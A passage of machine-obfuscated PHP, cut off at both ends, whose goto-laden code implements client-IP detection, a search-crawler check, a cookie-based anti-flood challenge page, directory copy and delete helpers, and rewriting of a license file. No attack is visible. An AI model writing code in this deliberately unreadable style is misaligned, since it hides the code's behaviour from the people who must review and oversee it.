K4px6p;K4pldMhx6q:$K4pzAvP0=array();$K4pzAvP0['code']=0;$K4pzAvP0['data']=$result;$K4pzA2=array();$K4pzA2[]=&$K4pzAvP0;$K4peF1=call_user_func_array("json_encode",$K4pzA2);exit($K4peF1);K4px6p:goto K4px6n;K4pldMhx6o:K4px6n:function x_real_ip(){unset($K4ptIA5);$K4ptIA5=$_SERVER['REMOTE_ADDR'];$ip=$K4ptIA5;$K4pA5=(bool)isset($_SERVER['HTTP_X_FORWARDED_FOR']);if($K4pA5)goto K4peWjgx6v;goto K4pldMhx6v;K4peWjgx6v:unset($K4pcV2);$K4pzA5=array();$K4pzA5[]=&$_SERVER;$K4peF4=call_user_func_array("is_array",$K4pzA5);if($K4peF4)goto K4peWjgx6t;goto K4pldMhx6t;K4peWjgx6t:$K4pcV2=&$_SERVER['HTTP_X_FORWARDED_FOR'];goto K4px6s;K4pldMhx6t:$K4pcV2=$_SERVER['HTTP_X_FORWARDED_FOR'];K4px6s:$K4pzA3=array();$K4pzA3[]="#\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}#s";$K4pzA3[]=&$K4pcV2;$K4pzA3[]=&$matches;$K4peF1=call_user_func_array("preg_match_all",$K4pzA3);$K4pA5=(bool)$K4peF1;goto K4px6u;K4pldMhx6v:K4px6u:if($K4pA5)goto K4peWjgx6w;goto K4pldMhx6w;K4peWjgx6w:unset($K4pEc1);$K4pEc1=array();foreach($matches[0] as $xip){$K4pEc1[]=$xip;};$K4p1i=0;K4px7z:$K4pzA1=array();$K4pzA1[]=&$K4pEc1;$K4peF0=call_user_func_array("count",$K4pzA1);$K4pA5=$K4p1i<$K4peF0;if($K4pA5)goto K4peWjgx76;goto K4pldMhx76;K4peWjgx76:$K4p1Key=array_keys($K4pEc1);$K4p1Key=$K4p1Key[$K4p1i];unset($K4ptIA5);$K4ptIA5=$K4pEc1[$K4p1Key];$xip=$K4ptIA5;$K4pzA1=array();$K4pzA1[]="#^(10|172\.16|192\.168)\.#";$K4pzA1[]=&$xip;$K4peF0=call_user_func_array("preg_match",$K4pzA1);$K4pA5=!$K4peF0;if($K4pA5)goto K4peWjgx78;goto K4pldMhx78;K4peWjgx78:goto K4peWjgx74;goto K4px77;K4pldMhx78:K4px77:goto K4pldMhx74;K4peWjgx74:goto K4peWjgx6y;goto K4px73;K4pldMhx74:K4px73:goto K4pldMhx6y;K4peWjgx6y:unset($K4ptIA5);$K4ptIA5=$xip;$ip=$K4ptIA5;goto K4px6x;K4pldMhx6y:K4px6x:K4px71:$K4p1i=$K4p1i+1;goto K4px7z;goto K4px75;K4pldMhx76:K4px75:K4px72:goto K4px6r;K4pldMhx6w:$K4pA5=(bool)isset($_SERVER['HTTP_CLIENT_IP']);if($K4pA5)goto K4peWjgx7c;goto K4pldMhx7c;K4peWjgx7c:unset($K4pcV2);$K4pzA5=array();$K4pzA5[]=&$_SERVER;$K4peF4=call_user_func_array("is_array",$K4pzA5);if($K4peF4)goto K4peWjgx7a;goto K4pldMhx7a;K4peWjgx7a:$K4pcV2=&$_SERVER['HTTP_CLIENT_IP'];goto K4px79;K4pldMhx7a:$K4pcV2=$_SERVER['HTTP_CLIENT_IP'];K4px79:$K4pzA3=array();$K4pzA3[]='/^([0-9]{1,3}\.){3}[0-9]{1,3}$/';$K4pzA3[]=&$K4pcV2;$K4peF1=call_user_func_array("preg_match",$K4pzA3);$K4pA5=(bool)$K4peF1;goto K4px7b;K4pldMhx7c:K4px7b:if($K4pA5)goto K4peWjgx7d;goto K4pldMhx7d;K4peWjgx7d:unset($K4ptIA5);$K4ptIA5=$_SERVER['HTTP_CLIENT_IP'];$ip=$K4ptIA5;goto K4px6r;K4pldMhx7d:$K4pA5=(bool)isset($_SERVER['HTTP_CF_CONNECTING_IP']);if($K4pA5)goto K4peWjgx7h;goto K4pldMhx7h;K4peWjgx7h:unset($K4pcV2);$K4pzA5=array();$K4pzA5[]=&$_SERVER;$K4peF4=call_user_func_array("is_array",$K4pzA5);if($K4peF4)goto K4peWjgx7f;goto K4pldMhx7f;K4peWjgx7f:$K4pcV2=&$_SERVER['HTTP_CF_CONNECTING_IP'];goto K4px7e;K4pldMhx7f:$K4pcV2=$_SERVER['HTTP_CF_CONNECTING_IP'];K4px7e:$K4pzA3=array();$K4pzA3[]='/^([0-9]{1,3}\.){3}[0-9]{1,3}$/';$K4pzA3[]=&$K4pcV2;$K4peF1=call_user_func_array("preg_match",$K4pzA3);$K4pA5=(bool)$K4peF1;goto K4px7g;K4pldMhx7h:K4px7g:if($K4pA5)goto K4peWjgx7i;goto K4pldMhx7i;K4peWjgx7i:unset($K4ptIA5);$K4ptIA5=$_SERVER['HTTP_CF_CONNECTING_IP'];$ip=$K4ptIA5;goto K4px6r;K4pldMhx7i:$K4pA5=(bool)isset($_SERVER['HTTP_X_REAL_IP']);if($K4pA5)goto K4peWjgx7n;goto K4pldMhx7n;K4peWjgx7n:unset($K4pcV2);$K4pzA5=array();$K4pzA5[]=&$_SERVER;$K4peF4=call_user_func_array("is_array",$K4pzA5);if($K4peF4)goto K4peWjgx7l;goto K4pldMhx7l;K4peWjgx7l:$K4pcV2=&$_SERVER['HTTP_X_REAL_IP'];goto K4px7k;K4pldMhx7l:$K4pcV2=$_SERVER['HTTP_X_REAL_IP'];K4px7k:$K4pzA3=array();$K4pzA3[]="/^([0-9]{1,3}\.){3}[0-9]{1,3}$/";$K4pzA3[]=&$K4pcV2;$K4peF1=call_user_func_array("preg_match",$K4pzA3);$K4pA5=(bool)$K4peF1;goto K4px7m;K4pldMhx7n:K4px7m:if($K4pA5)goto K4peWjgx7o;goto K4pldMhx7o;K4peWjgx7o:unset($K4ptIA5);$K4ptIA5=$_SERVER['HTTP_X_REAL_IP'];$ip=$K4ptIA5;goto K4px7j;K4pldMhx7o:K4px7j:K4px6r:return $ip;}function check_spider(){unset($K4pcV1);$K4pzA4=array();$K4pzA4[]=&$_SERVER;$K4peF3=call_user_func_array("is_array",$K4pzA4);if($K4peF3)goto K4peWjgx7q;goto K4pldMhx7q;K4peWjgx7q:$K4pcV1=&$_SERVER['HTTP_USER_AGENT'];goto K4px7p;K4pldMhx7q:$K4pcV1=$_SERVER['HTTP_USER_AGENT'];K4px7p:$K4pzA2=array();$K4pzA2[]=&$K4pcV1;$K4peF0=call_user_func_array("strtolower",$K4pzA2);unset($K4ptIA5);$K4ptIA5=$K4peF0;$useragent=$K4ptIA5;$K4pzA1=array();$K4pzA1[]=&$useragent;$K4pzA1[]='baiduspider';$K4peF0=call_user_func_array("strpos",$K4pzA1);$K4pA5=$K4peF0!==false;if($K4pA5)goto K4peWjgx7s;goto K4pldMhx7s;K4peWjgx7s:return 'baiduspider';goto K4px7r;K4pldMhx7s:K4px7r:$K4pzA1=array();$K4pzA1[]=&$useragent;$K4pzA1[]='googlebot';$K4peF0=call_user_func_array("strpos",$K4pzA1);$K4pA5=$K4peF0!==false;if($K4pA5)goto K4peWjgx7u;goto K4pldMhx7u;K4peWjgx7u:return 'googlebot';goto K4px7t;K4pldMhx7u:K4px7t:$K4pzA1=array();$K4pzA1[]=&$useragent;$K4pzA1[]='360spider';$K4peF0=call_user_func_array("strpos",$K4pzA1);$K4pA5=$K4peF0!==false;if($K4pA5)goto K4peWjgx7w;goto K4pldMhx7w;K4peWjgx7w:return '360spider';goto K4px7v;K4pldMhx7w:K4px7v:$K4pzA1=array();$K4pzA1[]=&$useragent;$K4pzA1[]='soso';$K4peF0=call_user_func_array("strpos",$K4pzA1);$K4pA5=$K4peF0!==false;if($K4pA5)goto K4peWjgx7y;goto K4pldMhx7y;K4peWjgx7y:return 'soso';goto K4px7x;K4pldMhx7y:K4px7x:$K4pzA1=array();$K4pzA1[]=&$useragent;$K4pzA1[]='bing';$K4peF0=call_user_func_array("strpos",$K4pzA1);$K4pA5=$K4peF0!==false;if($K4pA5)goto K4peWjgx81;goto K4pldMhx81;K4peWjgx81:return 'bing';goto K4px8z;K4pldMhx81:K4px8z:$K4pzA1=array();$K4pzA1[]=&$useragent;$K4pzA1[]='yahoo';$K4peF0=call_user_func_array("strpos",$K4pzA1);$K4pA5=$K4peF0!==false;if($K4pA5)goto K4peWjgx83;goto K4pldMhx83;K4peWjgx83:return 'yahoo';goto K4px82;K4pldMhx83:K4px82:$K4pzA1=array();$K4pzA1[]=&$useragent;$K4pzA1[]='sohu-search';$K4peF0=call_user_func_array("strpos",$K4pzA1);$K4pA5=$K4peF0!==false;if($K4pA5)goto K4peWjgx85;goto K4pldMhx85;K4peWjgx85:return 'Sohubot';goto K4px84;K4pldMhx85:K4px84:$K4pzA1=array();$K4pzA1[]=&$useragent;$K4pzA1[]='sogou';$K4peF0=call_user_func_array("strpos",$K4pzA1);$K4pA5=$K4peF0!==false;if($K4pA5)goto K4peWjgx87;goto K4pldMhx87;K4peWjgx87:return 'sogou';goto K4px86;K4pldMhx87:K4px86:$K4pzA1=array();$K4pzA1[]=&$useragent;$K4pzA1[]='youdaobot';$K4peF0=call_user_func_array("strpos",$K4pzA1);$K4pA5=$K4peF0!==false;if($K4pA5)goto K4peWjgx89;goto K4pldMhx89;K4peWjgx89:return 'YoudaoBot';goto K4px88;K4pldMhx89:K4px88:$K4pzA1=array();$K4pzA1[]=&$useragent;$K4pzA1[]='robozilla';$K4peF0=call_user_func_array("strpos",$K4pzA1);$K4pA5=$K4peF0!==false;if($K4pA5)goto K4peWjgx8b;goto K4pldMhx8b;K4peWjgx8b:return 'Robozilla';goto K4px8a;K4pldMhx8b:K4px8a:$K4pzA1=array();$K4pzA1[]=&$useragent;$K4pzA1[]='msnbot';$K4peF0=call_user_func_array("strpos",$K4pzA1);$K4pA5=$K4peF0!==false;if($K4pA5)goto K4peWjgx8d;goto K4pldMhx8d;K4peWjgx8d:return 'msnbot';goto K4px8c;K4pldMhx8d:K4px8c:$K4pzA1=array();$K4pzA1[]=&$useragent;$K4pzA1[]='lycos';$K4peF0=call_user_func_array("strpos",$K4pzA1);$K4pA5=$K4peF0!==false;if($K4pA5)goto K4peWjgx8f;goto K4pldMhx8f;K4peWjgx8f:return 'Lycos';goto K4px8e;K4pldMhx8f:K4px8e:$K4pzA1=array();$K4pzA1[]=&$useragent;$K4pzA1[]='ia_archiver';$K4peF0=call_user_func_array("strpos",$K4pzA1);$K4pA5=!$K4peF0;$K4pA6=$K4pA5===false;if($K4pA6)goto K4peWjgx8h;goto K4pldMhx8h;K4peWjgx8h:goto K4px8g;K4pldMhx8h:$K4pzA1=array();$K4pzA1[]=&$useragent;$K4pzA1[]='iaarchiver';$K4peF0=call_user_func_array("strpos",$K4pzA1);$K4pA5=!$K4peF0;$K4pA6=$K4pA5===false;if($K4pA6)goto K4peWjgx8i;goto K4pldMhx8i;K4peWjgx8i:return 'alexa';goto K4px8g;K4pldMhx8i:K4px8g:$K4pzA1=array();$K4pzA1[]=&$useragent;$K4pzA1[]='archive.org_bot';$K4peF0=call_user_func_array("strpos",$K4pzA1);$K4pA5=$K4peF0!==false;if($K4pA5)goto K4peWjgx8k;goto K4pldMhx8k;K4peWjgx8k:return 'Archive';goto K4px8j;K4pldMhx8k:K4px8j:$K4pzA1=array();$K4pzA1[]=&$useragent;$K4pzA1[]='sitebot';$K4peF0=call_user_func_array("strpos",$K4pzA1);$K4pA5=$K4peF0!==false;if($K4pA5)goto K4peWjgx8m;goto K4pldMhx8m;K4peWjgx8m:return 'SiteBot';goto K4px8l;K4pldMhx8m:K4px8l:$K4pzA1=array();$K4pzA1[]=&$useragent;$K4pzA1[]='gosospider';$K4peF0=call_user_func_array("strpos",$K4pzA1);$K4pA5=$K4peF0!==false;if($K4pA5)goto K4peWjgx8o;goto K4pldMhx8o;K4peWjgx8o:return 'gosospider';goto K4px8n;K4pldMhx8o:K4px8n:$K4pzA1=array();$K4pzA1[]=&$useragent;$K4pzA1[]='gigabot';$K4peF0=call_user_func_array("strpos",$K4pzA1);$K4pA5=$K4peF0!==false;if($K4pA5)goto K4peWjgx8q;goto K4pldMhx8q;K4peWjgx8q:return 'Gigabot';goto K4px8p;K4pldMhx8q:K4px8p:$K4pzA1=array();$K4pzA1[]=&$useragent;$K4pzA1[]='yrspider';$K4peF0=call_user_func_array("strpos",$K4pzA1);$K4pA5=$K4peF0!==false;if($K4pA5)goto K4peWjgx8s;goto K4pldMhx8s;K4peWjgx8s:return 'YRSpider';goto K4px8r;K4pldMhx8s:K4px8r:$K4pzA1=array();$K4pzA1[]=&$useragent;$K4pzA1[]='gigabot';$K4peF0=call_user_func_array("strpos",$K4pzA1);$K4pA5=$K4peF0!==false;if($K4pA5)goto K4peWjgx8u;goto K4pldMhx8u;K4peWjgx8u:return 'Gigabot';goto K4px8t;K4pldMhx8u:K4px8t:$K4pzA1=array();$K4pzA1[]=&$useragent;$K4pzA1[]='wangidspider';$K4peF0=call_user_func_array("strpos",$K4pzA1);$K4pA5=$K4peF0!==false;if($K4pA5)goto K4peWjgx8w;goto K4pldMhx8w;K4peWjgx8w:return 'WangIDSpider';goto K4px8v;K4pldMhx8w:K4px8v:$K4pzA1=array();$K4pzA1[]=&$useragent;$K4pzA1[]='foxspider';$K4peF0=call_user_func_array("strpos",$K4pzA1);$K4pA5=$K4peF0!==false;if($K4pA5)goto K4peWjgx8y;goto K4pldMhx8y;K4peWjgx8y:return 'FoxSpider';goto K4px8x;K4pldMhx8y:K4px8x:$K4pzA1=array();$K4pzA1[]=&$useragent;$K4pzA1[]='docomo';$K4peF0=call_user_func_array("strpos",$K4pzA1);$K4pA5=$K4peF0!==false;if($K4pA5)goto K4peWjgx91;goto K4pldMhx91;K4peWjgx91:return 'DoCoMo';goto K4px9z;K4pldMhx91:K4px9z:$K4pzA1=array();$K4pzA1[]=&$useragent;$K4pzA1[]='yandexbot';$K4peF0=call_user_func_array("strpos",$K4pzA1);$K4pA5=$K4peF0!==false;if($K4pA5)goto K4peWjgx93;goto K4pldMhx93;K4peWjgx93:return 'YandexBot';goto K4px92;K4pldMhx93:K4px92:$K4pzA1=array();$K4pzA1[]=&$useragent;$K4pzA1[]='sinaweibobot';$K4peF0=call_user_func_array("strpos",$K4pzA1);$K4pA5=$K4peF0!==false;if($K4pA5)goto K4peWjgx95;goto K4pldMhx95;K4peWjgx95:return 'SinaWeiboBot';goto K4px94;K4pldMhx95:K4px94:$K4pzA1=array();$K4pzA1[]=&$useragent;$K4pzA1[]='catchbot';$K4peF0=call_user_func_array("strpos",$K4pzA1);$K4pA5=$K4peF0!==false;if($K4pA5)goto K4peWjgx97;goto K4pldMhx97;K4peWjgx97:return 'CatchBot';goto K4px96;K4pldMhx97:K4px96:$K4pzA1=array();$K4pzA1[]=&$useragent;$K4pzA1[]='surveybot';$K4peF0=call_user_func_array("strpos",$K4pzA1);$K4pA5=$K4peF0!==false;if($K4pA5)goto K4peWjgx99;goto K4pldMhx99;K4peWjgx99:return 'SurveyBot';goto K4px98;K4pldMhx99:K4px98:$K4pzA1=array();$K4pzA1[]=&$useragent;$K4pzA1[]='dotbot';$K4peF0=call_user_func_array("strpos",$K4pzA1);$K4pA5=$K4peF0!==false;if($K4pA5)goto K4peWjgx9b;goto K4pldMhx9b;K4peWjgx9b:return 'DotBot';goto K4px9a;K4pldMhx9b:K4px9a:$K4pzA1=array();$K4pzA1[]=&$useragent;$K4pzA1[]='purebot';$K4peF0=call_user_func_array("strpos",$K4pzA1);$K4pA5=$K4peF0!==false;if($K4pA5)goto K4peWjgx9d;goto K4pldMhx9d;K4peWjgx9d:return 'Purebot';goto K4px9c;K4pldMhx9d:K4px9c:$K4pzA1=array();$K4pzA1[]=&$useragent;$K4pzA1[]='ccbot';$K4peF0=call_user_func_array("strpos",$K4pzA1);$K4pA5=$K4peF0!==false;if($K4pA5)goto K4peWjgx9f;goto K4pldMhx9f;K4peWjgx9f:return 'CCBot';goto K4px9e;K4pldMhx9f:K4px9e:$K4pzA1=array();$K4pzA1[]=&$useragent;$K4pzA1[]='mlbot';$K4peF0=call_user_func_array("strpos",$K4pzA1);$K4pA5=$K4peF0!==false;if($K4pA5)goto K4peWjgx9h;goto K4pldMhx9h;K4peWjgx9h:return 'MLBot';goto K4px9g;K4pldMhx9h:K4px9g:$K4pzA1=array();$K4pzA1[]=&$useragent;$K4pzA1[]='adsbot-google';$K4peF0=call_user_func_array("strpos",$K4pzA1);$K4pA5=$K4peF0!==false;if($K4pA5)goto K4peWjgx9j;goto K4pldMhx9j;K4peWjgx9j:return 'AdsBot-Google';goto K4px9i;K4pldMhx9j:K4px9i:$K4pzA1=array();$K4pzA1[]=&$useragent;$K4pzA1[]='ahrefsbot';$K4peF0=call_user_func_array("strpos",$K4pzA1);$K4pA5=$K4peF0!==false;if($K4pA5)goto K4peWjgx9l;goto K4pldMhx9l;K4peWjgx9l:return 'AhrefsBot';goto K4px9k;K4pldMhx9l:K4px9k:$K4pzA1=array();$K4pzA1[]=&$useragent;$K4pzA1[]='spbot';$K4peF0=call_user_func_array("strpos",$K4pzA1);$K4pA5=$K4peF0!==false;if($K4pA5)goto K4peWjgx9n;goto K4pldMhx9n;K4peWjgx9n:return 'spbot';goto K4px9m;K4pldMhx9n:K4px9m:$K4pzA1=array();$K4pzA1[]=&$useragent;$K4pzA1[]='augustbot';$K4peF0=call_user_func_array("strpos",$K4pzA1);$K4pA5=$K4peF0!==false;if($K4pA5)goto K4peWjgx9p;goto K4pldMhx9p;K4peWjgx9p:return 'AugustBot';goto K4px9o;K4pldMhx9p:K4px9o:return false;}function cc_defender(){$K4pzA1=array();$K4peFvP0=call_user_func_array("x_real_ip",$K4pzA1);$K4pzA3=array();$K4pzA3[]='Ymd';$K4peFvP2=call_user_func_array("date",$K4pzA3);$K4pvPA5=$K4peFvP0 . $K4peFvP2;$K4pzA5=array();$K4pzA5[]=&$K4pvPA5;$K4peF4=call_user_func_array("md5",$K4pzA5);$K4pzA7=array();$K4peFvP6=call_user_func_array("time",$K4pzA7);$K4pzA9=array();$K4pzA9[]=11111;$K4pzA9[]=99999;$K4peFvP8=call_user_func_array("rand",$K4pzA9);$K4pvPA6=$K4peFvP6 . $K4peFvP8;$K4pzA11=array();$K4pzA11[]=&$K4pvPA6;$K4peF10=call_user_func_array("md5",$K4pzA11);$K4pA7=$K4peF4 . $K4peF10;unset($K4ptIA8);$K4ptIA8=$K4pA7;$iptoken=$K4ptIA8;$K4pA5=!isset($_COOKIE['sec_defend']);$K4pA7=(bool)$K4pA5;$K4pA8=!$K4pA7;if($K4pA8)goto K4peWjgx9u;goto K4pldMhx9u;K4peWjgx9u:unset($K4pcV2);$K4pzA7=array();$K4pzA7[]=&$_COOKIE;$K4peF6=call_user_func_array("is_array",$K4pzA7);if($K4peF6)goto K4peWjgx9s;goto K4pldMhx9s;K4peWjgx9s:$K4pcV2=&$_COOKIE['sec_defend'];goto K4px9r;K4pldMhx9s:$K4pcV2=$_COOKIE['sec_defend'];K4px9r:$K4pzA3=array();$K4pzA3[]=&$K4pcV2;$K4pzA3[]=0;$K4pzA3[]=32;$K4peF1=call_user_func_array("substr",$K4pzA3);$K4pzA5=array();$K4pzA5[]=&$iptoken;$K4pzA5[]=0;$K4pzA5[]=32;$K4peF4=call_user_func_array("substr",$K4pzA5);$K4pA6=$K4peF1!==$K4peF4;$K4pA7=(bool)$K4pA6;goto K4px9t;K4pldMhx9u:K4px9t:if($K4pA7)goto K4peWjgx9v;goto K4pldMhx9v;K4peWjgx9v:$K4pA5=!$_COOKIE['sec_defend_time'];if($K4pA5)goto K4peWjgx9x;goto K4pldMhx9x;K4peWjgx9x:unset($K4ptIA5);$K4ptIA5=0;$_COOKIE['sec_defend_time']=$K4ptIA5;goto K4px9w;K4pldMhx9x:K4px9w:$K4pA5=new \lib\hieroglyphy();unset($K4ptIA6);$K4ptIA6=$K4pA5;$x=$K4ptIA6;$K4pzA1=array();$K4pzA1[]=&$iptoken;$K4pzA2=array();$K4pzA2[]=$x;$K4pzA2[]="hieroglyphyString";$K4phC0=call_user_func_array($K4pzA2,$K4pzA1);unset($K4ptIA5);$K4ptIA5=$K4phC0;$setCookie=$K4ptIA5;$K4pA5=$_COOKIE['sec_defend_time']+1;unset($K4ptIA6);$K4ptIA6=$K4pA5;$sec_defend_time=$K4ptIA6;$K4pzA1=array();$K4pzA1[]='Content-type:text/html;charset=utf-8';$K4peF0=call_user_func_array("header",$K4pzA1);$K4pA5=$sec_defend_time>=10;if($K4pA5)goto K4peWjgxaz;goto K4pldMhxaz;K4peWjgxaz:exit('浏览器不支持COOKIE或者不正常访问!');goto K4px9y;K4pldMhxaz:K4px9y:$K4pA5='<html><head><meta http-equiv="pragma" content="no-cache"><meta http-equiv="cache-control" content="no-cache"><meta http-equiv="content-type" content="text/html;charset=utf-8"><title>正在加载中</title><script>function setCookie(name,value){var exp = new Date();exp.setTime(exp.getTime() + 60*60*1000);document.cookie = name + "="+ escape (value).replace(/\+/g, \'%2B\') + ";expires=" + exp.toGMTString() + ";path=/";}function getCookie(name){var arr,reg=new RegExp("(^| )"+name+"=([^;]*)(;|$)");if(arr=document.cookie.match(reg))return unescape(arr[2]);else return null;}var sec_defend_time=getCookie(\'sec_defend_time\')||0;sec_defend_time++;setCookie(\'sec_defend\',' . $setCookie;$K4pA6=$K4pA5 . ');setCookie(\'sec_defend_time\',sec_defend_time);if(sec_defend_time>1)window.location.href="./index.php";else window.location.reload();</script></head><body></body></html>';echo $K4pA6;exit(0);goto K4px9q;K4pldMhx9v:if(isset($_COOKIE['sec_defend_time']))goto K4peWjgxa1;goto K4pldMhxa1;K4peWjgxa1:$K4pzA1=array();$K4peFvP0=call_user_func_array("time",$K4pzA1);$K4pvPA5=$K4peFvP0-604800;$K4pzA3=array();$K4pzA3[]='sec_defend_time';$K4pzA3[]='';$K4pzA3[]=&$K4pvPA5;$K4pzA3[]='/';$K4peF2=call_user_func_array("setcookie",$K4pzA3);goto K4px9q;K4pldMhxa1:K4px9q:}function copydirs($source,$dest){$K4pzA1=array();$K4pzA1[]=&$dest;$K4peF0=call_user_func_array("is_dir",$K4pzA1);$K4pA5=!$K4peF0;if($K4pA5)goto K4peWjgxa3;goto K4pldMhxa3;K4peWjgxa3:$K4pzA1=array();$K4pzA1[]=&$dest;$K4pzA1[]=0755;$K4pzA1[]=true;$K4peF0=call_user_func_array("mkdir",$K4pzA1);goto K4pxa2;K4pldMhxa3:K4pxa2:$K4pvPA5=new RecursiveDirectoryIterator($source,RecursiveDirectoryIterator::SKIP_DOTS);$K4pA6=new RecursiveIteratorIterator($K4pvPA5,RecursiveIteratorIterator::SELF_FIRST);unset($K4ptIA7);$K4ptIA7=$K4pA6;$iterator=$K4ptIA7;unset($K4pEc1);$K4pEc1=array();foreach($iterator as $item){$K4pEc1[]=$item;};$K4p1i=0;K4pxa8:$K4pzA1=array();$K4pzA1[]=&$K4pEc1;$K4peF0=call_user_func_array("count",$K4pzA1);$K4pA5=$K4p1i<$K4peF0;if($K4pA5)goto K4peWjgxag;goto K4pldMhxag;K4peWjgxag:$K4p1Key=array_keys($K4pEc1);$K4p1Key=$K4p1Key[$K4p1i];unset($K4ptIA5);$K4ptIA5=$K4pEc1[$K4p1Key];$item=$K4ptIA5;$K4pzA1=array();$K4pzA2=array();$K4pzA2[]=$item;$K4pzA2[]="isDir";$K4phC0=call_user_func_array($K4pzA2,$K4pzA1);if($K4phC0)goto K4peWjgxai;goto K4pldMhxai;K4peWjgxai:goto K4peWjgxac;goto K4pxah;K4pldMhxai:K4pxah:goto K4pldMhxac;K4peWjgxac:goto K4peWjgxa5;goto K4pxab;K4pldMhxac:K4pxab:goto K4pldMhxa5;K4peWjgxa5:$K4pA5=$dest . "/";$K4pzA1=array();$K4pzA2=array();$K4pzA2[]=$iterator;$K4pzA2[]="getSubPathName";$K4phC0=call_user_func_array($K4pzA2,$K4pzA1);$K4pA6=$K4pA5 . $K4phC0;unset($K4ptIA7);$K4ptIA7=$K4pA6;unset($K4ptIA5);$K4ptIA5=$K4ptIA7;$sent_dir=$K4ptIA5;$K4pzA1=array();$K4pzA1[]=&$sent_dir;$K4peF0=call_user_func_array("is_dir",$K4pzA1);$K4pA5=!$K4peF0;if($K4pA5)goto K4peWjgxak;goto K4pldMhxak;K4peWjgxak:goto K4peWjgxae;goto K4pxaj;K4pldMhxak:K4pxaj:goto K4pldMhxae;K4peWjgxae:goto K4peWjgxa7;goto K4pxad;K4pldMhxae:K4pxad:goto K4pldMhxa7;K4peWjgxa7:$K4pzA1=array();$K4pzA1[]=&$sent_dir;$K4pzA1[]=0755;$K4pzA1[]=true;$K4peF0=call_user_func_array("mkdir",$K4pzA1);goto K4pxa6;K4pldMhxa7:K4pxa6:goto K4pxa4;K4pldMhxa5:$K4pvPA5=$dest . "/";$K4pzA1=array();$K4pzA2=array();$K4pzA2[]=$iterator;$K4pzA2[]="getSubPathName";$K4phCvP0=call_user_func_array($K4pzA2,$K4pzA1);$K4pvPA6=$K4pvPA5 . $K4phCvP0;$K4pzA1=array();$K4pzA1[]=&$item;$K4pzA1[]=&$K4pvPA6;$K4peF0=call_user_func_array("copy",$K4pzA1);K4pxa4:K4pxa9:$K4p1i=$K4p1i+1;goto K4pxa8;goto K4pxaf;K4pldMhxag:K4pxaf:K4pxaa:}function rmdirs($dir,$rmself=true){$K4pzA1=array();$K4pzA1[]=&$dir;$K4peF0=call_user_func_array("is_dir",$K4pzA1);$K4pA5=!$K4peF0;if($K4pA5)goto K4peWjgxam;goto K4pldMhxam;K4peWjgxam:return false;goto K4pxal;K4pldMhxam:K4pxal:$K4pvPA5=new RecursiveDirectoryIterator($dir,RecursiveDirectoryIterator::SKIP_DOTS);$K4pA6=new RecursiveIteratorIterator($K4pvPA5,RecursiveIteratorIterator::CHILD_FIRST);unset($K4ptIA7);$K4ptIA7=$K4pA6;$files=$K4ptIA7;unset($K4pEc1);$K4pEc1=array();foreach($files as $file){$K4pEc1[]=$file;};$K4p1i=0;K4pxap:$K4pzA1=array();$K4pzA1[]=&$K4pEc1;$K4peF0=call_user_func_array("count",$K4pzA1);$K4pA5=$K4p1i<$K4peF0;if($K4pA5)goto K4peWjgxav;goto K4pldMhxav;K4peWjgxav:$K4p1Key=array_keys($K4pEc1);$K4p1Key=$K4p1Key[$K4p1i];unset($K4ptIA5);$K4ptIA5=$K4pEc1[$K4p1Key];$file=$K4ptIA5;$K4pzA1=array();$K4pzA2=array();$K4pzA2[]=$file;$K4pzA2[]="isDir";$K4phC0=call_user_func_array($K4pzA2,$K4pzA1);if($K4phC0)goto K4peWjgxax;goto K4pldMhxax;K4peWjgxax:goto K4peWjgxat;goto K4pxaw;K4pldMhxax:K4pxaw:goto K4pldMhxat;K4peWjgxat:goto K4peWjgxao;goto K4pxas;K4pldMhxat:K4pxas:goto K4pldMhxao;K4peWjgxao:$K4pA5='rmdir';goto K4pxan;K4pldMhxao:$K4pA5='unlink';K4pxan:unset($K4ptIA6);$K4ptIA6=$K4pA5;unset($K4ptIA5);$K4ptIA5=$K4ptIA6;$todo=$K4ptIA5;$K4pzA1=array();$K4pzA2=array();$K4pzA2[]=$file;$K4pzA2[]="getRealPath";$K4phCvP0=call_user_func_array($K4pzA2,$K4pzA1);$K4pzA1=array();$K4pzA1[]=&$K4phCvP0;$K4peF0=call_user_func_array($todo,$K4pzA1);K4pxaq:$K4p1i=$K4p1i+1;goto K4pxap;goto K4pxau;K4pldMhxav:K4pxau:K4pxar:if($rmself)goto K4peWjgxbz;goto K4pldMhxbz;K4peWjgxbz:$GLOBALS["Ox8117"]=ini_get("error_reporting");error_reporting(0);$K4pzA1=array();$K4pzA1[]=&$dir;$K4peF0=call_user_func_array("rmdir",$K4pzA1);$K4peRA5=$K4peF0;error_reporting($GLOBALS["Ox8117"]);goto K4pxay;K4pldMhxbz:K4pxay:return true;}function editAuthInfo(){$K4pA5="<?php class AuthInfo{ const AUTHCODE = '" . AuthInfo::AUTHCODE;$K4pA6=$K4pA5 . "'; const VERSION = '";$K4pA7=$K4pA6 . AuthInfo::VERSION;$K4pA8=$K4pA7 . "'; const EDITION = '";$K4pA9=$K4pA8 . AuthInfo::EDITION;$K4pAA=$K4pA9 . "'; const PUBLIC_KEY = '";$K4pAB=$K4pAA . AuthInfo::PUBLIC_KEY;$K4pAC=$K4pAB . "'; }";unset($K4ptIAD);$K4ptIAD=$K4pAC;$str=$K4ptIAD;$K4pA5=SF_ROOT . 'AuthInfo.php';unset($K4ptIA6);$K4ptIA6=$K4pA5;$file=$K4ptIA6;$K4pzA1=array();$K4pzA1[]=&$file;$K4peF0=call_user_func_array("file_exists",$K4pzA1);$K4pA5=!$K4peF0;if($K4pA5)goto K4peWjgxb2;goto K4pldMhxb2;K4peWjgxb2:$K4pzA1=array();$K4pzA1[]=&$file;$K4pzA1[]='';$K4peF0=call_user_func_array("file_put_contents",$K4pzA1);goto K4pxb1;K4pldMhxb2:K4pxb1:$K4pzA1=array();$K4pzA1[]=&$file;$K4pzA1[]='w';$K4peF0=call_user_func_array("fopen",$K4pzA1);unset($K4ptIA5);$K4ptIA5=$K4peF0;$handle=$K4ptIA5;if($K4ptIA5)g
